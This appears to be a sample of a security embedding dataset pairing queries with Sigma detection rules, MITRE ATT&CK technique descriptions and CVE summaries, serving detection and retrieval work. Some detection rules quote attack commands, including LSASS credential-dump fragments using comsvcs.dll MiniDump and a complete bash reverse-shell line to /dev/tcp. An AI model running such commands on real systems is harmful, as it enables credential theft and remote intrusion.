alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Sigma rule for Detects suspicious process patterns found in logs when CrackMapExec is used
Matching passage: Sigma rule: Detects suspicious process patterns found in logs when CrackMapExec is used. Logsource: windows / process_creation. Rule: title: HackTool - CrackMapExec Process Patterns id: f26307d8-14cd-47e3-a26b-4b4769f24af6 status: test description: Detects suspicious process patterns found in logs when CrackMapExec is used references: - https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass author: Florian Roth (Nextron Systems) date: 2022-03-12 modified: 2023-02-13 tags: - attack.credential-access - attack.t1003.001 logsource: product: windows category: process_creation detection: selection_lsass_dump1: CommandLine|contains|all: - 'tasklist /fi ' - Imagename eq lsass.exe CommandLine|contains: - 'cmd.exe /c ' - 'cmd.exe /r ' - 'cmd.exe /k ' - 'cmd /c ' - 'cmd /r ' - 'cmd /k ' User|contains: - AUTHORI - AUTORI selection_lsass_dump2: CommandLine|contains|all: - do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump - \Windows\Temp\ - ' full' - '%%B' selection_procdump: CommandLine|contains|all: - tasklist /v /fo csv - findstr /i "lsass" condition: 1 of selection* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects a code page switch in command line or batch scripts to a rare language. Logsource: windows / process_creation. Rule: title: Suspicious CodePage Switch Via CHCP id: c7942406-33dd-4377-a564-0f62db0593a3 status: test description: Detects a code page switch in command line or batch scripts to a rare language references: - https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers - https://twitter.com/cglyer/status/1183756892952248325 author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community date: 2019-10-14 modified: 2023-03-07 tags: - attack.stealth - attack.t1036 logsource: category: process_creation product: windows detection: selection: Image|endswith: \chcp.com CommandLine|endswith: - ' 936' - ' 1258' condition: selection falsepositives: - Administrative activity (adjust code pages according to your organization's region) level: medium regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch/info.yml
Query: EDR alert: possible Container API (T1552.007)
Matching passage: T1552.007 Container API. Tactics: credential access. Description: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
Near-miss passage: T1552.005 Cloud Instance Metadata API. Tactics: credential access. Description: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018) The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
Query: patch priority for CVE-2015-3144
Matching passage: CVE-2015-3144. CWE: CWE-119. CVSS: 9.0. The fix_hostname function in cURL and libcurl 7.37.0 through 7.41.0 does not properly calculate an index, which allows remote attackers to cause a denial of service (out-of-bounds read or write and crash) or possibly have other unspecified impact via a zero-length host name, as demonstrated by "http://:80" and ":80."
Near-miss passage: CVE-2015-8764. CWE: CWE-119. CVSS: 8.100000381469727. Off-by-one error in the EAP-PWD module in FreeRADIUS 3.0 through 3.0.8, which triggers a buffer overflow.
Query: exploit Chiyu BF-630 and BF-630W fingerprint access-control devices allow remote attackers to bypass authentication and (1) read or (2) modify (a) Voice Time Set configuration settings via
Matching passage: CVE-2015-5618. CWE: CWE-264. CVSS: 7.5. Chiyu BF-630 and BF-630W fingerprint access-control devices allow remote attackers to bypass authentication and (1) read or (2) modify (a) Voice Time Set configuration settings via a request to voice.htm or (b) UniFinger configuration settings via a request to bf.htm, a different vulnerability than CVE-2015-2871.
Near-miss passage: CVE-2015-0869. CWE: CWE-264. CVSS: 7.800000190734863. I-O DATA DEVICE NP-BBRM routers allow remote attackers to cause a denial of service (SSDP reflection) via UPnP requests.
Query: vulnerability: Heap-based buffer overflow in the xmlDictComputeFastQKey function in dict.c in libxml2 before 2.9.3 allows context-dependent attackers to cause a denial of service via unspecified 
Matching passage: CVE-2015-7497. CWE: CWE-119. CVSS: 5.0. Heap-based buffer overflow in the xmlDictComputeFastQKey function in dict.c in libxml2 before 2.9.3 allows context-dependent attackers to cause a denial of service via unspecified vectors.
Near-miss passage: CVE-2015-9112. CWE: CWE-119. CVSS: 9.800000190734863. In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Automobile and Snapdragon Mobile MDM9625, SD 400, SD 800, SD 820, and SD 820A, lack of input validation in QSEE can cause potential buffer overflow.
Query: patch priority for CVE-2015-4188
Matching passage: CVE-2015-4188. CWE: CWE-89. CVSS: 5.0. SQL injection vulnerability in the Manager interface in Cisco Prime Collaboration 10.5(1) allows remote attackers to execute arbitrary SQL commands via a crafted URL, aka Bug IDs CSCuu29910, CSCuu29928, and CSCuu59104.
Near-miss passage: CVE-2015-9446. CWE: CWE-89. CVSS: 8.800000190734863. The unite-gallery-lite plugin before 1.5 for WordPress has SQL injection via data[galleryID] to wp-admin/admin-ajax.php.
Query: CVE similar to CVE-2015-0917
Matching passage: CVE-2015-0917. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the backend in Kajona before 4.6.3 allows remote attackers to inject arbitrary web script or HTML via the action parameter to index.php.
Near-miss passage: CVE-2015-1640. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Microsoft Project Server 2010 SP2 and 2013 SP1 allows remote attackers to inject arbitrary web script or HTML via a crafted request, aka "Microsoft SharePoint XSS Vulnerability."
Query: describe CVE-2015-6269
Matching passage: CVE-2015-6269. CWE: CWE-399. CVSS: 7.800000190734863. Cisco IOS XE before 2.2.3 on ASR 1000 devices allows remote attackers to cause a denial of service (Embedded Services Processor crash) via a crafted (1) IPv4 or (2) IPv6 packet, aka Bug ID CSCsw69990.
Near-miss passage: CVE-2015-1730. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."
Query: stealth using Indicator Removal from Tools
Matching passage: T1027.005 Indicator Removal from Tools. Tactics: stealth. Description: Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
Near-miss passage: T1027.009 Embedded Payloads. Tactics: stealth. Description: Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)
Query: vulnerability: In all Qualcomm products with Android releases from CAF using the Linux kernel, insecure ciphersuites were included in the default configuration.
Matching passage: CVE-2015-0575. CWE: CWE-326. CVSS: 9.800000190734863. In all Qualcomm products with Android releases from CAF using the Linux kernel, insecure ciphersuites were included in the default configuration.
Near-miss passage: CVE-2015-5361. CWE: CWE-326. CVSS: 6.5. Background For regular, unencrypted FTP traffic, the FTP ALG can inspect the unencrypted control channel and open related sessions for the FTP data channel. These related sessions (gates) are specific to source and destination IPs and ports of client and server. The design intent of the ftps-extensions option (which is disabled by default) is to provide similar functionality when the SRX secures the FTP/FTPS client. As the control channel is encrypted, the FTP ALG cannot inspect the port specific information and will open a wider TCP data channel (gate) from client IP to server IP on all destination TCP ports. In FTP/FTPS client environments to an enterprise network or the Internet, this is the desired behavior as it allows firewall policy to be written to FTP/FTPS servers on well-known control ports without using a policy with destination IP ANY and destination port ANY. Issue The ftps-extensions option is not intended or recommended where the SRX secures the FTPS server, as the wide data channel session (gate) will allow the FTPS client temporary access to all TCP ports on the FTPS server. The data session is associated to the control channel and will be closed when the control channel session closes. Depending on the configuration of the FTPS server, supporting load-balancer, and SRX inactivity-timeout values, the server/load-balancer and SRX may keep the control channel open for an extended period of time, allowing an FTPS client access for an equal duration.​ Note that the ftps-extensions option is not enabled by default.
Query: describe CVE-2015-6748
Matching passage: CVE-2015-6748. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in jsoup before 1.8.3.
Near-miss passage: CVE-2015-5592. CWE: CWE-79. CVSS: 6.099999904632568. Incomplete blacklist in sanitize_string in Zenphoto before 1.4.9 allows remote attackers to conduct cross-site scripting (XSS) attacks.
Query: patch priority for CVE-2015-2197
Matching passage: CVE-2015-2197. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the Entity API module before 7.x-1.6 for Drupal allows remote authenticated users to inject arbitrary web script or HTML via a field label in the Token API.
Near-miss passage: CVE-2015-7878. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerability in the Taxonomy Find module 6.x-2.x through 6.x-1.2 and 7.x-2.x through 7.x-1.0 in Drupal allows remote authenticated users with certain permissions to inject arbitrary web script or HTML via taxonomy vocabulary and term names.
Query: exploit Multiple cross-site scripting (XSS) vulnerabilities in roomcloud.php in the Roomcloud plugin before 1.3 for WordPress allow remote attackers to inject arbitrary web script or HTML 
Matching passage: CVE-2015-3904. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in roomcloud.php in the Roomcloud plugin before 1.3 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) pin, (2) start_day, (3) start_month, (4) start_year, (5) end_day, (6) end_month, (7) end_year, (8) lang, (9) adults, or (10) children parameter.
Near-miss passage: CVE-2015-7565. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in Ember.js 1.8.x through 1.10.x, 1.11.x before 1.11.4, 1.12.x before 1.12.2, 1.13.x before 1.13.12, 2.0.x before 2.0.3, 2.1.x before 2.1.2, and 2.2.x before 2.2.1 allows remote attackers to inject arbitrary web script or HTML.
Query: write Sigma for Detects changes to the registry values related to outlook security settings
Matching passage: Sigma rule: Detects changes to the registry values related to outlook security settings. Logsource: windows / registry_set. Rule: title: Outlook Security Settings Updated - Registry id: c3cefdf4-6703-4e1c-bad8-bf422fc5015a related: - id: 6763c6c8-bd01-4687-bc8d-4fa52cf8ba08 type: similar status: test description: Detects changes to the registry values related to outlook security settings references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md - https://learn.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings author: frack113 date: 2021-12-28 modified: 2026-01-09 tags: - attack.persistence - attack.t1137 logsource: category: registry_set product: windows detection: selection: TargetObject|contains|all: - \SOFTWARE\Microsoft\Office\ - \Outlook\Security\ filter_main_outlook: Image|startswith: - C:\Program Files\Microsoft Office\ - C:\Program Files (x86)\Microsoft Office\ Image|endswith: \OUTLOOK.EXE condition: selection and not 1 of filter_main_* falsepositives: - Administrative activity level: medium
Near-miss passage: Sigma rule: Detects suspicious msiexec process starts with web addresses as parameter. Logsource: windows / process_creation. Rule: title: MsiExec Web Install id: f7b5f842-a6af-4da5-9e95-e32478f3cd2f related: - id: 8150732a-0c9d-4a99-82b9-9efb9b90c40c type: similar status: test description: Detects suspicious msiexec process starts with web addresses as parameter references: - https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ author: Florian Roth (Nextron Systems) date: 2018-02-09 modified: 2022-01-07 tags: - attack.stealth - attack.t1218.007 - attack.command-and-control - attack.t1105 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - ' msiexec' - :// condition: selection falsepositives: - False positives depend on scripts and administrative tools used in the monitored environment level: medium
Query: risk of Memory leak in the IPv6-to-IPv4 functionality in Cisco IOS 15.3S in the Performance Routing Engine (PRE) module on UBR devices allows remote attackers to cause a denial of service 
Matching passage: CVE-2015-4200. CWE: CWE-399. CVSS: 7.800000190734863. Memory leak in the IPv6-to-IPv4 functionality in Cisco IOS 15.3S in the Performance Routing Engine (PRE) module on UBR devices allows remote attackers to cause a denial of service (memory consumption) by triggering an error during CPE negotiation, aka Bug ID CSCug00885.
Near-miss passage: CVE-2015-8877. CWE: CWE-399. CVSS: 7.5. The gdImageScaleTwoPass function in gd_interpolation.c in the GD Graphics Library (aka libgd) before 2.2.0, as used in PHP before 5.6.12, uses inconsistent allocate and free approaches, which allows remote attackers to cause a denial of service (memory consumption) via a crafted call, as demonstrated by a call to the PHP imagescale function.
Query: alert when Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential
Matching passage: Sigma rule: Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential. Logsource: windows / image_load. Rule: title: CredUI.DLL Loaded By Uncommon Process id: 9ae01559-cf7e-4f8e-8e14-4c290a1b4784 status: test description: Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW". references: - https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password - https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa - https://github.com/S12cybersecurity/RDPCredentialStealer author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-10-20 modified: 2026-06-29 tags: - attack.credential-access - attack.collection - attack.t1056.002 logsource: category: image_load product: windows detection: selection: - ImageLoaded|endswith: - \credui.dll - \wincredui.dll - OriginalFileName: - credui.dll - wincredui.dll filter_main_generic: Image|startswith: - C:\Program Files (x86)\ - C:\Program Files\ - C:\Windows\System32\ - C:\Windows\SysWOW64\ - C:\Windows\SystemApps\ filter_main_full: Image: - C:\Windows\explorer.exe - C:\Windows\ImmersiveControlPanel\SystemSettings.exe - C:\Windows\regedit.exe filter_optional_opera: Image|endswith: \opera_autoupdate.exe filter_optional_process_explorer: Image|endswith: - \procexp64.exe - \procexp64a.exe - \procexp.exe filter_optional_teams: Image|startswith: C:\Users\ Image|contains: \AppData\Local\Microsoft\Teams\ Image|endswith: \Teams.exe filter_optional_onedrive: Image|startswith: C:\Users\ Image|contains: \AppData\Local\Microsoft\OneDrive\ condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Other legitimate processes loading those DLLs in your environment. level: medium
Near-miss passage: Sigma rule: Detects PowerShell calling a credential prompt. Logsource: windows / ps_script. Rule: title: PowerShell Credential Prompt id: ca8b77a9-d499-4095-b793-5d5f330d450e status: test description: Detects PowerShell calling a credential prompt references: - https://twitter.com/JohnLaTwC/status/850381440629981184 - https://t.co/ezOTGy1a1G author: John Lambert (idea), Florian Roth (Nextron Systems) date: 2017-04-09 modified: 2022-12-25 tags: - attack.credential-access - attack.execution - attack.t1059.001 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains: PromptForCredential condition: selection falsepositives: - Unknown level: high
Query: Sigma rule for Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that ma
Matching passage: Sigma rule: Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that ma. Logsource: windows / ps_script. Rule: title: Suspicious Invoke-Item From Mount-DiskImage id: 902cedee-0398-4e3a-8183-6f3a89773a96 status: test description: Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso - https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps author: frack113 date: 2022-02-01 tags: - attack.defense-impairment - attack.t1553.005 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains|all: - 'Mount-DiskImage ' - '-ImagePath ' - Get-Volume - .DriveLetter - 'invoke-item ' - ):\ condition: selection falsepositives: - Legitimate PowerShell scripts level: medium
Near-miss passage: Sigma rule: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.. Logsource: linux / network_connection. Rule: title: Linux Reverse Shell Indicator id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 status: test description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') references: - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md author: Florian Roth (Nextron Systems) date: 2021-10-16 modified: 2022-12-25 tags: - attack.execution - attack.t1059.004 logsource: product: linux category: network_connection detection: selection: Image|endswith: /bin/bash filter: DestinationIp: - 127.0.0.1 - 0.0.0.0 condition: selection and not filter falsepositives: - Unknown level: critical
Query: risk of IBM General Parallel File System (GPFS) 3.5.x before 3.5.0.27 and 4.1.x before 4.1.1.2 and Spectrum Scale 4.1.1.x before 4.1.1.2 allow local users to obtain sensitive information f
Matching passage: CVE-2015-4981. CWE: CWE-200. CVSS: 2.0999999046325684. IBM General Parallel File System (GPFS) 3.5.x before 3.5.0.27 and 4.1.x before 4.1.1.2 and Spectrum Scale 4.1.1.x before 4.1.1.2 allow local users to obtain sensitive information from system memory via unspecified vectors.
Near-miss passage: CVE-2015-3882. CWE: CWE-200. CVSS: 5.300000190734863. qdPM 8.3 allows remote attackers to obtain sensitive information via invalid ID value to index.php/users/info/id/[ID], which reveals the installation path in an error message.